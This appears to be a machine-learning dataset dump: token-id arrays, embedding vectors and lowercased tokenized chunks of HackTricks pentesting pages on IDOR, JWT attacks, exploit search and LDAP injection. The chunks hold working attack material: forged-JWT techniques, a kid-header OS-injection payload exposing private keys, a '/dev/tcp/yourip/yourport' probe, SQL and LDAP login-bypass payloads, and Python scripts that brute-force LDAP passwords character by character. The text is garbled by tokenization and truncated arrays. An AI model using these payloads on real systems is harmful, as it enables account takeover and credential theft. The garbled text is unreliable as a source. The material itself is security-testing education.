[ 2303, 2946, 1012, 8273, 7741, 1060, 1011, 2830, 2098, 1011, 2005, 2378, 2236, 1010, 4013, 16898, 2015, 2097, 5587, 1996, 12997, 2015, 1997, 1996, 7846, 2503, 1996, 1060, 1011, 2830, 2098, 1011, 2005, 20346, 2061, 1996, 2279, 6154, 2097, 2...
hack_tricks
166.txt
1
[CLS] idorpost taken from url places to look for idorsdon ’ t ignore encoded and hashed idswhen faced with an encoded id, it might be possible to decode the encoded id using common encoding schemes. and if the application is using a hashed / randomized id, see if the id is predictable. sometimes applications use algorithms that produce insufficient entropy, and as such, the ids can actually be predicted after careful analysis. in this case, try creating a few accounts to analyze how these ids are created. you might be able to find a pattern that will allow you to predict ids belonging to other users. additionally, it might be possible to leak random or hashed ids via another api endpoint, on other public pages in the application ( profile page of other users, etc ), or in a url via referer. for example, once i found an api endpoint that allows users to retrieve detailed direct messages through a hashed conversation id. the request kinda looks like this : get / api _ v1 / messages? conversation _ id = some _ random _ idthis seems okay at first glance since the conversation _ id is a long, random, alphanumeric sequence. but i later found that you can actually find a list of conversations for each user just by using their user id! get / api _ v1 / messages? user _ id = another _ users _ idthis would return a list of conversation _ ids belonging to that user. and the user _ id is publicly available on each user ’ s profile page. therefore, you can read any user ’ s messages by first obtaining their user _ id on their profile page, then retrieving a list of conversation _ ids belonging to that user, and finally loading the messages via the api endpoint / api _ v1 / messages! if you can ’ t guess it, try creating itif the object reference ids seem unpredictable, see if there is something you can do to manipulate the creation or linking process of these object ids. offer the application an id, even if it doesn ’ t ask for itif no ids are used in the application generated request, try adding it to the request. try appending id, user _ id, message _ id or other object reference params and see if it makes a difference to the application ’ s behavior. for example, if this request displays all your direct messages : get / api _ v1 / messageswhat about this one? would
[ -0.30176249146461487, -0.32604777812957764, -0.6360161304473877, 0.2359495460987091, 0.23053331673145294, -0.7327766418457031, -0.013614030554890633, -0.12727995216846466, 0.13560765981674194, 1.6770216226577759, -0.011421555653214455, -0.06456347554922104, 0.005688454955816269, -0.4845692...
[ 101, 8909, 2953, 19894, 2579, 2013, 24471, 2140, 3182, 2000, 2298, 2005, 8909, 5668, 5280, 1521, 1056, 8568, 12359, 1998, 23325, 2098, 8909, 26760, 10222, 4320, 2007, 2019, 12359, 8909, 1010, 2009, 2453, 2022, 2825, 2000, 21933, 3207, 1996,...
hack_tricks
167.txt
0
it display another user ’ s messages instead? get / api _ v1 / messages? user _ id = another _ users _ idhpp ( http parameter pollution ) hpp vulnerabilities ( supplying multiple values for the same parameter ) can also lead to idor. applications might not anticipate the user submitting multiple values for the same parameter and by doing so, you might be able to bypass the access control set forth on the endpoint. although this seems to be rare and i ’ ve never seen it happen before, theoretically, it would look like this. if this request fails : get / api _ v1 / messages? user _ id = another _ users _ idtry this : get / api _ v1 / messages? user _ id = your _ user _ id & user _ id = another _ users _ idor this : get / api _ v1 / messages? user _ id = another _ users _ id & user _ id = your _ user _ idor provide the parameters as a list : get / api _ v1 / messages? user _ ids [ ] = your _ user _ id & user _ ids [ ] = another _ users _ idblind idorssometimes endpoints susceptible to idor don ’ t respond with the leaked information directly. they might lead the application to leak information elsewhere instead : in export files, emails and maybe even text alerts. change the request methodif one request method doesn ’ t work, there are plenty of others that you can try instead : get, post, put, delete, patch … a common trick that works is substituting post for put or vice versa : the same access controls might not have been implemented! change the requested file typesometimes, switching around the file type of the requested file may lead to the server processing authorization differently. for example, try adding. json to the end of the request url and see what happens. how to increase the impact of idorscritical idors firstalways look for idors in critical functionalities first. both write and read based idors can be of high impact. in terms of state - changing ( write ) idors, password reset, password change, account recovery idors often have the highest business impact. ( say, as compared to a β€œ change email subscription settings ” idor. ) as for non - state - changing ( read ) idors, look for functionalities that handle the sensitive information in the application. for example, look
[ -0.17875711619853973, -0.5095654129981995, -0.3996178209781647, 0.5229057669639587, -0.46684277057647705, -0.26904186606407166, -0.06804128736257553, -0.10698365420103073, 0.3509994149208069, 1.076783537864685, -0.10620373487472534, -0.02696613222360611, -0.19094260036945343, -0.8403457999...
[ 2009, 4653, 2178, 5310, 1521, 1055, 7696, 2612, 1029, 2131, 1013, 17928, 1035, 1058, 2487, 1013, 7696, 1029, 5310, 1035, 8909, 1027, 2178, 1035, 5198, 1035, 8909, 22269, 2361, 1006, 8299, 16381, 10796, 1007, 6522, 2361, 24728, 19666, 6906, ...
hack_tricks
167.txt
1
for functionalities that handle direct messages, sensitive user information, and private content. consider which functionalities on the application makes use of this information and look for idors accordingly. pentesting web - [SEP]
[ 0.3766632378101349, -0.28886646032333374, 0.06476441025733948, 0.40753689408302307, -0.38166487216949463, 0.004861001390963793, -0.698978066444397, -0.04517603665590286, 0.6455596089363098, 0.412502259016037, -0.16971290111541748, 0.7424951791763306, 0.4011695981025696, 0.17078401148319244...
[ 2005, 8360, 6447, 2008, 5047, 3622, 7696, 1010, 7591, 5310, 2592, 1010, 1998, 2797, 4180, 1012, 5136, 2029, 8360, 6447, 2006, 1996, 4646, 3084, 2224, 1997, 2023, 2592, 1998, 2298, 2005, 8909, 5668, 11914, 1012, 7279, 22199, 2075, 4773, 10...
hack_tricks
167.txt
2
[CLS] integer overflowrustcfn main ( ) { let mut quantity = 2147483647 ; let ( mul _ result, _ ) = i32 : : overflowing _ mul ( 32767, quantity ) ; let ( add _ result, _ ) = i32 : : overflowing _ add ( 1, quantity ) ; println! ( " { } ", mul _ result ) ; println! ( " { } ", add _ result ) ; } # include < stdio. h > # include < limits. h > int main ( ) { int a = int _ max ; int b = 0 ; int c = 0 ; b = a * 100 ; c = a + 1 ; printf ( " % d \ n ", int _ max ) ; printf ( " % d \ n ", b ) ; printf ( " % d \ n ", c ) ; return 0 ; } pentesting web - [SEP]
[ -0.18499912321567535, -0.14378778636455536, 0.6769266128540039, -0.17005102336406708, -0.49408966302871704, -0.5913540720939636, 0.5040615200996399, 0.13164415955543518, -0.13196727633476257, 1.3493127822875977, 0.630636990070343, 0.12624013423919678, 0.32377001643180847, -1.19592106342315...
[ 101, 16109, 2058, 12314, 7946, 13535, 2546, 2078, 2364, 1006, 1007, 1063, 2292, 14163, 2102, 11712, 1027, 19936, 2581, 18139, 21619, 22610, 1025, 2292, 1006, 14163, 2140, 1035, 2765, 1010, 1035, 1007, 1027, 1045, 16703, 1024, 1024, 2058, 12...
hack_tricks
168.txt
0
[CLS] jwt vulnerabilities ( json web tokens ) register - register - part of this post was taken from : url author of the great tool to pentest jwts url winsrun jwt _ tool with mode all tests! and wait for green linespython3 jwt _ tool. py - m at \ - t " https : / / api. example. com / api / v1 / user / 76bab5dd - 9307 - ab04 - 8123 - fda81234245 " \ - rh " authorization : bearer eyjhbg... < jwt token > " if you are lucky the tool will find some case where the web application is incorrectly checking the jwt : then, you can search the request in your proxy or dump the used jwt for that request using jwt _ tool : python3 jwt _ tool. py - q " jwttool _ 706649b802c9f5e41052062a3787b291 " tamper data without modifying anythingyou can just tamper with the data leaving the signature as is and check if the server is checking the signature. try to change your username to " admin " for example. is the token checked? if an error message occurs the signature is being checked - read any verbose error info that might leak something sensitive. if the page returned is different the signature is being checked. if the page is the same then the signature is not being checked - time to start tampering the payload claims to see what you can do! origincheck where the token originated in your proxy's request history. it should be created on the server, not the client. if it was first seen coming from the client - side then the key is accessible to client - side code - seek it out! if it was first seen coming from the server then all is well. durationcheck if the token lasts more than 24h... maybe it never expires. if there is a " exp " filed, check if the server is correctly handling it. brute - force hmac secretsee this page. modify the algorithm to none ( cve - 2015 - 9235 ) set the algorithm used as " none " and remove the signature part. use the burp extension call " json web token " to try this vulnerability and to change different values inside the jwt ( send the
[ 0.15390756726264954, -0.41052043437957764, -0.6112581491470337, -0.20761477947235107, -0.7213277816772461, -0.03273683041334152, -0.07568769156932831, 0.7744799852371216, 0.8277972936630249, 0.8304004073143005, 0.15453222393989563, -0.04429411515593529, 0.48432809114456177, -0.320481747388...
[ 101, 1046, 26677, 24728, 19666, 6906, 14680, 1006, 1046, 3385, 4773, 19204, 2015, 1007, 4236, 1011, 4236, 1011, 2112, 1997, 2023, 2695, 2001, 2579, 2013, 1024, 24471, 2140, 3166, 1997, 1996, 2307, 6994, 2000, 7279, 22199, 1046, 26677, 2015,...
hack_tricks
169.txt
0
request to repeater and in the " json web token " tab you can modify the values of the token. you can also select to put the value of the " alg " field to " none " ). change the algorithm rs256 ( asymmetric ) to hs256 ( symmetric ) ( cve - 2016 - 5431 / cve - 2016 - 10555 ) the algorithm hs256 uses the secret key to sign and verify each message. the algorithm rs256 uses the private key to sign the message and uses the public key for authentication. if you change the algorithm from rs256 to hs256, the back end code uses the public key as the secret key and then uses the hs256 algorithm to verify the signature. then, using the public key and changing rs256 to hs256 we could create a valid signature. you can retrieve the certificate of the web server executing this : openssl s _ client - connect example. com : 443 2 > & 1 < / dev / null | sed - n'/ - - - - - begin /, / - - - - - end / p'> certificatechain. pem # for this attack you can use the joseph burp extension. in the repeater, select the jws tab and select the key confusion attack. load the pem, update the request and send it. ( this extension allows you to send the " non " algorithm attack also ). it is also recommended to use the tool jwt _ tool with the option 2 as the previous burp extension does not always works well. openssl x509 - pubkey - in certificatechain. pem - noout > pubkey. pemnew public key inside the headeran attacker embeds a new key in the header of the token and the server uses this new key to verify the signature ( cve - 2018 - 0114 ). this can be done with the " json web tokens " burp extension. ( send the request to the repeater, inside the json web token tab select " cve - 2018 - 0114 " and send the request ). jwks spoofingif the token uses a β€œ jku ” header claim then check out the provided url. this should point to a url containing the jwks file that holds the public key for verifying the token. tamper the token to point the jku value to a web service you can monitor traffic
[ 0.551542341709137, 0.04564730077981949, -0.6147035360336304, 0.8450427651405334, -0.147903710603714, 0.14304223656654358, -0.5371675491333008, 0.19385002553462982, 0.4834832549095154, 1.3376787900924683, 0.39902451634407043, -0.17314855754375458, 0.1681073009967804, -0.4051085114479065, ...
[ 5227, 2000, 9377, 2121, 1998, 1999, 1996, 1000, 1046, 3385, 4773, 19204, 1000, 21628, 2017, 2064, 19933, 1996, 5300, 1997, 1996, 19204, 1012, 2017, 2064, 2036, 7276, 2000, 2404, 1996, 3643, 1997, 1996, 1000, 2632, 2290, 1000, 2492, 2000, ...
hack_tricks
169.txt
1
for. if you get an http interaction you now know that the server is trying to load keys from the url you are supplying. use jwt _ tool's - s flag alongside the - u url argument to generate a new key pair, inject your provided url, generate a jwks containing the public key, and sign the token with the private keykid issueskid is an optional header claim which holds a key identifier, particularly useful when you have multiple keys to sign the tokens and you need to look up the right one to verify the signature. " kid " issues - reveal keyif the claim " kid " is used in the header, check the web directory for that file or a variation of it. for example if " kid " : " key / 12345 " then look for / key / 12345 and / key / 12345. pem on the web root. " kid " issues - path traversalif the claim " kid " is used in the header, check if you can use a different file in the file system. pick a file you might be able to predict the content of, or maybe try " kid " : " / dev / tcp / yourip / yourport " to test connectivity, or even some ssrf payloads... use jwt _ tool's - t flag to tamper the jwt and change the value of the kid claim, then choose to keep the original signaturepython3 jwt _ tool. py < jwt > - i - hc kid - hv ".. /.. / dev / null " - s hs256 - p " " using files inside the host with known content you can also forge a valid jwt. for example, in linux systems the file / proc / sys / kernel / randomize _ va _ space has the value set to 2. so, putting that path inside the " kid " parameter and using " 2 " as the symetric password to generate the jwt you should be able to generate a valid new jwt. " kid " issues - sql injectionin a scenario wehre the content of the " kid " is used to retreive the password from the database, you could change the payload inside the " kid " parameter to : non - existent - index'union select'attacker'; - - - and then sign the jwt with the secret key attacker. " kid " issues - os injectionin a scenario where the " kid
[ 0.1431940644979477, 0.05486227199435234, -0.412814199924469, 0.6484630703926086, -0.6122245788574219, -0.025094861164689064, 0.14990319311618805, 0.16779428720474243, 0.4785085916519165, 1.2348910570144653, 0.013985862955451012, 0.18643179535865784, 0.6121886968612671, -0.5401504635810852,...
[ 2005, 1012, 2065, 2017, 2131, 2019, 8299, 8290, 2017, 2085, 2113, 2008, 1996, 8241, 2003, 2667, 2000, 7170, 6309, 2013, 1996, 24471, 2140, 2017, 2024, 17731, 1012, 2224, 1046, 26677, 1035, 6994, 1005, 1055, 1011, 1055, 5210, 4077, 1996, 1...
hack_tricks
169.txt
2
" parameter contains a path to the file with the key and this path is being used inside an executed command you could be able to obtain rce and expose the private key with a payload like the following : / root / res / keys / secret7. key ; cd / root / res / keys / & & python - m simplehttpserver 1337 & miscellaneous attacksthe following are known weaknesses that should be tested for. cross - service relay attackssome web applications use a trusted jwt β€˜ service ’ to generate and manage tokens for them. in the past some instances have occurred where a token generated for one of the jwt services ’ clients can actually be accepted by another of the jwt services ’ clients. if you observe the jwt being issued or renewed via a third - party service then it is worth identifying if you can sign up for an account on another of that service ’ s clients with your same username / email. if so try taking that token and replaying it in a request to your target. is it accepted? if your token is accepted then you may have a critical issue allowing you to spoof any user ’ s account. however, be aware that if you are signing up on a third party application you may need to seek permission for wider testing permissions in case it enters a legal grey - area! is exp checked? the β€œ exp ” payload claim is used to check the expiry of a token. as jwts are often used in the absence of session information, so they do need to be handled with care - in many cases capturing and replaying someone else ’ s jwt will allow you to masquerade as that user. one mitigation against jwt replay attacks ( that is advised by the jwt rfc ) is to use the β€œ exp ” claim to set an expiry time for the token. it is also important to set the relevant checks in place in the application to make sure this value is processed and the token rejected where it is expired. if the token contains an β€œ exp ” claim and test time limits permit it - try storing the token and replaying it after the expiry time has passed. use jwt _ tool's - r flag to read the content of the token, which includes timestamp parsing and expiry checking ( timestamp in utc ) if the token still validates in the application then this may be a security risk as the token may never expire. x5u and j
[ 0.31279927492141724, -0.40229642391204834, 0.27300021052360535, 0.3562224209308624, -0.6691510677337646, -0.374836802482605, -0.25458717346191406, -0.22013497352600098, 0.7636531591415405, 1.2489358186721802, 0.33150485157966614, -0.3295214772224426, 0.6778125762939453, -0.5270594358444214...
[ 1000, 16381, 3397, 1037, 4130, 2000, 1996, 5371, 2007, 1996, 3145, 1998, 2023, 4130, 2003, 2108, 2109, 2503, 2019, 6472, 3094, 2017, 2071, 2022, 2583, 2000, 6855, 22110, 2063, 1998, 14451, 1996, 2797, 3145, 2007, 1037, 18093, 2066, 1996, ...
hack_tricks
169.txt
3
##kujkujku stands for jwk set url. if the token uses a β€œ jku ” header claim then check out the provided url. this should point to a url containing the jwks file that holds the public key for verifying the token. tamper the token to point the jku value to a web service you can monitor traffic for. first you need to create a new certificate with new private & public keysopenssl genrsa - out keypair. pem 2048openssl rsa - in keypair. pem - pubout - out publickey. crtopenssl pkcs8 - topk8 - inform pem - outform pem - nocrypt - in keypair. pem - out pkcs8. keythen you can use for example jwt. io to create the new jwt with the created public and private keys and pointing the parameter jku to the certificate created. in order to create a valid jku certificate you can download the original one anche change the needed parameters. you can obtain the parametes " e " and " n " from a public certificate using : from crypto. publickey import rsafp = open ( " publickey. crt ", " r " ) key = rsa. importkey ( fp. read ( ) ) fp. close ( ) print ( " n : ", hex ( key. n ) ) print ( " e : ", hex ( key. e ) ) x5ux. 509 url. a uri pointing to a set of x. 509 ( a certificate format standard ) public certificates encoded in pem form. the first certificate in the set must be the one used to sign this jwt. the subsequent certificates each sign the previous one, thus completing the certificate chain. x. 509 is defined in rfc 52807. transport security is required to transfer the certificates. try to change this header to an url under your control and check if any request is received. in that case you could tamper the jwt. to forge a new token using a certificate controlled by you, you need to create the certificate and extract the public and private keys : openssl req - x509 - nodes - days 365 - newkey rsa : 2048 - keyout attacker. key - out attacker. crtopenssl x509 - pubkey - noout - in attacker
[ 0.10966049879789352, 0.16658957302570343, -0.36040693521499634, 0.8934412598609924, -0.6584369540214539, 0.14035527408123016, -0.06982441246509552, 0.36965954303741455, 0.8082752227783203, 0.700349748134613, 0.32194384932518005, -0.16806556284427643, 0.6814000606536865, -0.1688914149999618...
[ 5283, 15992, 23049, 5283, 4832, 2005, 1046, 26291, 2275, 24471, 2140, 1012, 2065, 1996, 19204, 3594, 1037, 1523, 1046, 5283, 1524, 20346, 4366, 2059, 4638, 2041, 1996, 3024, 24471, 2140, 1012, 2023, 2323, 2391, 2000, 1037, 24471, 2140, 4820...
hack_tricks
169.txt
4
. crt > publickey. pemthen you can use for example jwt. io to create the new jwt with the created public and private keys and pointing the parameter x5u to the certificate. crt created. you can also abuse both of these vulns for ssrfs. x5cthis parameter may contain the certificate in base64 : if the attacker generates a self - signed certificate and creates a forged token using the corresponding private key and replace the " x5c " parameter ’ s value with the newly generatedcertificate and modifies the other parameters, namely n, e and x5t then essentially the forgedtoken would get accepted by the server. openssl req - x509 - nodes - days 365 - newkey rsa : 2048 - keyout attacker. key - outattacker. crtopenssl x509 - in attacker. crt - textembedded public key ( cve - 2018 - 0114 ) if the jwt has embedded a public key like in the following scenario : using the following nodejs script it's possible to generate a public key from that data : const nodersa = require ('node - rsa') ; const fs = require ('fs') ; n = " anq3hofodxgqmhyoac6chmzz6 _ z20hip1nvl1in6phlwbj5glei3e4e - ddmdwq1zoueaccun0dkx1gmtttx36jr8cnobrbutmnsq7zal3jiu4ixeyguy7wpz _ tqeuao1ogvqudn2ztxeiqeh - 58tupetvpkmqzds3mpum3l72ghbbqggo _ 1h3cyvw4j3qm49ybv35ahv3wbwzjxpzwcdoencm4ewnqjikespxvaclxq5nqo3h2wdnv03c5wulwabnhdfc _ hitdcaz3pjimajo4jkkej6mw3exqtmdx39uzuyvwbzremwh6uou9w0dmdgbbfnnwcar5tszeggj2dive8 " ; e =
[ 0.3116808235645294, -0.6919717788696289, -0.2329736053943634, 0.7444605231285095, -0.09109511971473694, 0.006487806793302298, -0.4797581434249878, 0.03424791619181633, 0.8909030556678772, 0.8745435476303101, 0.5025596618652344, -0.3651515543460846, 0.979213297367096, -0.3974830210208893, ...
[ 1012, 13675, 2102, 1028, 2270, 14839, 1012, 21877, 20492, 10222, 2017, 2064, 2224, 2005, 2742, 1046, 26677, 1012, 22834, 2000, 3443, 1996, 2047, 1046, 26677, 2007, 1996, 2580, 2270, 1998, 2797, 6309, 1998, 7302, 1996, 16381, 1060, 2629, 222...
hack_tricks
169.txt
5
" aqab " ; const key = new nodersa ( ) ; var importedkey = key. importkey ( { n : buffer. from ( n,'base64'), e : buffer. from ( e,'base64'), },'components - public') ; console. log ( importedkey. exportkey ( " public " ) ) ; it's possible to generate a new private / public key, embeded the new public key inside the token and use it to generate a new signature : openssl genrsa - out keypair. pem 2048openssl rsa - in keypair. pem - pubout - out publickey. crtopenssl pkcs8 - topk8 - inform pem - outform pem - nocrypt - in keypair. pem - out pkcs8. keyyou can obtain the " n " and " e " using this nodejs script : const nodersa = require ('node - rsa') ; const fs = require ('fs') ; keypair = fs. readfilesync ( " keypair. pem " ) ; const key = new nodersa ( keypair ) ; const publiccomponents = key. exportkey ('components - public') ; console. log ('parameter n : ', publiccomponents. n. tostring ( " hex " ) ) ; console. log ('parameter e : ', publiccomponents. e. tostring ( 16 ) ) ; finally, using the public and private key and the new " n " and " e " values you can use jwt. io to forge a new valid jwt with any information. jti ( jwt id ) the jti ( jwt id ) claim provides a unique identifier for a jwt token. it can beused to prevent the token from being replayed. however, imagine a situation where the maximun length of the id is 4 ( 0001 - 9999 ). the request 0001 and 10001 are going to use the same id. so if the backend is incrementig the id on each request you could abuse this to replay a request ( needing to send 10000 request between each successful replay ). jwt registered claimsjson web token ( jwt ) toolsgithub - ticar
[ 0.30002346634864807, 0.18336132168769836, -0.6102772355079651, 0.3502170145511627, -0.29294782876968384, -0.34692585468292236, -0.5284891128540039, 0.01806209236383438, 0.42586788535118103, 1.2384748458862305, 0.8164202570915222, -0.2962397634983063, 0.5714728832244873, -0.5353009700775146...
[ 1000, 1037, 19062, 2497, 1000, 1025, 9530, 3367, 3145, 1027, 2047, 13045, 22381, 1006, 1007, 1025, 13075, 10964, 14839, 1027, 3145, 1012, 12324, 14839, 1006, 1063, 1050, 1024, 17698, 1012, 2013, 1006, 1050, 1010, 1005, 2918, 21084, 1005, 10...
hack_tricks
169.txt
6
##pi / jwt _ tool : a toolkit for testing, tweaking and cracking json web tokensgithub register - register - pentesting web - [SEP]
[ 0.5270067453384399, 0.1071060374379158, -0.37095436453819275, -0.38115471601486206, -0.8264328241348267, -0.19387687742710114, -0.17460472881793976, -0.13738586008548737, 0.718192458152771, 1.3444072008132935, -0.027729833498597145, 0.1632923185825348, 0.7410404086112976, -0.71714079380035...
[ 8197, 1013, 1046, 26677, 1035, 6994, 1024, 1037, 6994, 23615, 2005, 5604, 1010, 1056, 8545, 15495, 1998, 15729, 1046, 3385, 4773, 19204, 28745, 8939, 12083, 4236, 1011, 4236, 1011, 7279, 22199, 2075, 4773, 1011, 102 ]
hack_tricks
169.txt
7
[CLS] search exploits use trickest to easily build and automate workflows powered by the world's most advanced community tools. browseralways search in " google " or others : < service _ name > [ version ] exploityou should also try the shodan exploit search from url to search exploits for services in exploitdb from the console. # searchsploit trickssearchsploit " linux kernel " # examplesearchsploit apache mod _ ssl # other examplesearchsploit - m 7618 # paste the exploit in current directorysearchsploit - p 7618 [. c ] # show complete pathsearchsploit - x 7618 [. c ] # open vi to inspect the exploitsearchsploit - - nmap file. xml # search vulns inside an nmap xml resultpompemhttps : / / github. com / rfunix / pompem is another tool to search for exploitsmsf - searchmsf > search platform : windows port : 135 target : xp type : exploitpacketstormif nothing is found, try to search the used technology inside url can also search in vulners database : url searches for exploits in other databases : url use trickest to easily build and automate workflows powered by the world's most advanced community tools. generic methodologies & resources - [SEP]
[ 0.332764595746994, 0.18999136984348297, -0.49754032492637634, 0.3530498445034027, -0.8167829513549805, -0.02703825570642948, -0.9225816130638123, -0.438562273979187, 0.48577311635017395, 0.973484218120575, 0.04061727598309517, 0.543410062789917, 0.8427976965904236, -0.22662965953350067, ...
[ 101, 3945, 20397, 2224, 7577, 4355, 2000, 4089, 3857, 1998, 8285, 8585, 2147, 12314, 2015, 6113, 2011, 1996, 2088, 1005, 1055, 2087, 3935, 2451, 5906, 1012, 16602, 2389, 14035, 3945, 1999, 1000, 8224, 1000, 2030, 2500, 1024, 1026, 2326, 1...
hack_tricks
17.txt
0
[CLS] ldap injectionldap injection register - register - ldap injectionldapif you want to know what is ldap access the following page : 389, 636, 3268, 3269 - pentesting ldapldap injection is an attack used to exploit web based applications that construct ldap statements based on user input. when an application fails to properly sanitize user input, it's possible to modify ldap statements using a local proxy. en - blackhat - europe - 2008 - ldap - injection - blind - ldap - injection. pdf2mbpdffilter = ( filtercomp ) filtercomp = and / or / not / item and = & filterlist or = | filterlist not =! filter filterlist = 1 * filter item = simple / present / substring simple = attr filtertype assertionvalue filtertype ='='/'~ ='/'> ='/'< ='present = attr = * substring = attr ” = ” [ initial ] * [ final ] initial = assertionvalue final = assertionvalue ( & ) = absolute true ( | ) = absolute falsefor example : ( & (! ( objectclass = impresoras ) ) ( uid = s * ) ) ( & ( objectclass = user ) ( uid = * ) ) you can access to the database, and this can content information of a lot of different types. openldap : if 2 filters arrive, only executes the first one. adam or microsoft lds : with 2 filters they throw an error. sunone directory server 5. 0 : execute both filters. it is very important to send the filter with correct syntax or an error will be thrown. it is better to send only 1 filter. the filter has to start with : & or | example : ( & ( directory = val1 ) ( folder = public ) ) ( & ( objectclass = value1 ) ( type = epson * ) ) value1 = * ) ( objectclass = * ) ) ( & ( objectclass = voidthen : ( & ( objectclass = * ) ( objectclass = * ) ) will be the first filter ( the one executed ). login bypassldap supports several formats to store the password : clear, md5, smd5, sh1, sha, crypt. so, it could be that independently of what you insert inside the password, it is hashed. user = *
[ -0.22300156950950623, 0.02558004856109619, -0.5688886046409607, 0.23656988143920898, -0.33740025758743286, -0.1429394632577896, -0.5571675300598145, 0.5175779461860657, 0.15560218691825867, 1.0177195072174072, -0.017379870638251305, 0.3828505873680115, 0.07868383079767227, 0.20867161452770...
[ 101, 25510, 9331, 13341, 15150, 2361, 13341, 4236, 1011, 4236, 1011, 25510, 9331, 13341, 15150, 8197, 2546, 2017, 2215, 2000, 2113, 2054, 2003, 25510, 9331, 3229, 1996, 2206, 3931, 1024, 4229, 2683, 1010, 6191, 2575, 1010, 28188, 2620, 1010...
hack_tricks
170.txt
0
password = * - - > ( & ( user = * ) ( password = * ) ) # the asterisks are great in ldapiuser = * ) ( & password = * ) ( & - - > ( & ( user = * ) ( & ) ( password = * ) ( & ) ) user = * ) ( | ( & pass = pwd ) - - > ( & ( user = * ) ( | ( & ) ( pass = pwd ) ) user = * ) ( | ( password = * password = test ) - - > ( & ( user = * ) ( | ( password = * ) ( password = test ) ) user = * ) ) % 00pass = any - - > ( & ( user = * ) ) % 00 - - > nothing more is executeduser = admin ) ( & ) password = pwd - - > ( & ( user = admin ) ( & ) ) ( password = pwd ) # can through an errorusername = admin ) (! ( & ( | pass = any ) ) - - > ( & ( uid = admin ) (! ( & ( | ) ( webpassword = any ) ) ) ) β€” > as ( | ) is false then the user is admin and the password check is true. username = * password = * ) ( & - - > ( & ( user = * ) ( password = * ) ( & ) ) username = admin ) ) ( | ( | password = any - - > ( & ( uid = admin ) ) ( | ( | ) ( webpassword = any ) ) listsldap _ fuzzldap attributesldap posixaccount attributesblind ldap injectionyou may force false or true responses to check if any data is returned and confirm a possible blind ldap injection : # this will result on true, so some information will be shownpayload : * ) ( objectclass = * ) ) ( & objectclass = voidfinal query : ( & ( objectclass = * ) ( objectclass = * ) ) ( & objectclass = void ) ( type = pepi * ) ) # this will result on true, so no information will be returned or shownpayload : void ) ( objectclass = void ) ) ( & objectclass = voidfinal query : ( & ( objectclass = void ) ( objectclass = void ) ) ( & objectclass =
[ 0.7416441440582275, -0.23866404592990875, 0.18708573281764984, 0.05629069730639458, -0.06123676523566246, -0.5564256906509399, -0.185516357421875, 0.09783953428268433, 0.2441495954990387, 1.0433897972106934, 0.12726756930351257, 0.06647152453660965, 0.23864209651947021, -0.1500570476055145...
[ 20786, 1027, 1008, 1011, 1011, 1028, 1006, 1004, 1006, 5310, 1027, 1008, 1007, 1006, 20786, 1027, 1008, 1007, 1007, 1001, 1996, 2004, 3334, 20573, 2015, 2024, 2307, 1999, 25510, 9331, 4173, 2121, 1027, 1008, 1007, 1006, 1004, 20786, 1027, ...
hack_tricks
170.txt
1
void ) ( type = pepi * ) ) dump datayou can iterate over the ascii letters, digits and symbols : ( & ( sn = administrator ) ( password = * ) ) : ok ( & ( sn = administrator ) ( password = a * ) ) : ko ( & ( sn = administrator ) ( password = b * ) ) : ko... ( & ( sn = administrator ) ( password = m * ) ) : ok ( & ( sn = administrator ) ( password = ma * ) ) : ko ( & ( sn = administrator ) ( password = mb * ) ) : ko... scriptsdiscover valid ldap fieldsldap objects contains by default several attributes that could be used to save information. you can try to brute - force all of them to extract that info. you can find a list of default ldap attributes here. #! / usr / bin / python3import requestsimport stringfrom time import sleepimport sysproxy = { " http " : " localhost : 8080 " } url = " http : / / 10. 10. 10. 10 / login. php " alphabet = string. ascii _ letters + string. digits + " _ @ { } - / ( )! \ " $ % = ^ [ ] : ; " attributes = [ " c ", " cn ", " co ", " commonname ", " dc ", " facsimiletelephonenumber ", " givenname ", " gn ", " homephone ", " id ", " jpegphoto ", " l ", " mail ", " mobile ", " name ", " o ", " objectclass ", " ou ", " owner ", " pager ", " password ", " sn ", " st ", " surname ", " uid ", " username ", " userpassword ", ] for attribute in attributes : # extract all attributes value = " " finish = false while not finish : for char in alphabet : # in each possition test each possible printable char query = f " * ) ( { attribute } = { value } { char } * " data = {'login': query,'password':'bla'} r = requests. post ( url, data = data, proxies = proxy ) sys
[ 0.9572247862815857, -0.3644143044948578, 0.008996215648949146, 0.8817757368087769, -0.34258729219436646, 0.013474560342729092, -0.1040772870182991, -0.1911678910255432, -0.07678049802780151, 0.8581177592277527, -0.2446323186159134, -0.439306378364563, 0.11606960743665695, -0.65297758579254...
[ 11675, 1007, 1006, 2828, 1027, 27233, 2072, 1008, 1007, 1007, 15653, 2951, 29337, 2064, 2009, 22139, 2058, 1996, 2004, 6895, 2072, 4144, 1010, 16648, 1998, 9255, 1024, 1006, 1004, 1006, 1055, 2078, 1027, 8911, 1007, 1006, 20786, 1027, 1008,...
hack_tricks
170.txt
2
. stdout. write ( f " \ r { attribute } : { value } { char } " ) # sleep ( 0. 5 ) # avoid brute - force bans if " cannot login " in r. text : value + = str ( char ) break if char = = alphabet [ - 1 ] : # if last of all the chars, then, no more chars in the value finish = true print ( ) special blind ldap injection ( without " * " ) #! / usr / bin / python3import requests, stringalphabet = string. ascii _ letters + string. digits + " _ @ { } - / ( )! \ " $ % = ^ [ ] : ; " flag = " " for i in range ( 50 ) : print ( " [ i ] looking for number " + str ( i ) ) for char in alphabet : r = requests. get ( " http : / / ctf. web?? action = dir & search = admin * ) ( password = " + flag + char ) if ( " true condition " in r. text ) : flag + = char print ( " [ + ] flag : " + flag ) breakgoogle dorksintitle : " phpldapadmin " inurl : cmd. phpmore payloadspayloadsallthethings / ldap injection at master Β· swisskyrepo / payloadsallthethingsgithub register - register - pentesting web - [SEP]
[ -0.0705704540014267, 0.0594884417951107, 0.17490844428539276, 0.5018517374992371, -0.46861013770103455, -0.7540745735168457, 0.31093573570251465, -0.22975417971611023, -0.302272766828537, 0.9942837953567505, 0.11589637398719788, 0.2819484770298004, 0.3290676772594452, 0.047780249267816544,...
[ 1012, 2358, 26797, 2102, 1012, 4339, 1006, 1042, 1000, 1032, 1054, 1063, 17961, 1065, 1024, 1063, 3643, 1065, 1063, 25869, 1065, 1000, 1007, 1001, 3637, 1006, 1014, 1012, 1019, 1007, 1001, 4468, 26128, 1011, 2486, 7221, 2015, 2065, 1000, ...
hack_tricks
170.txt
3
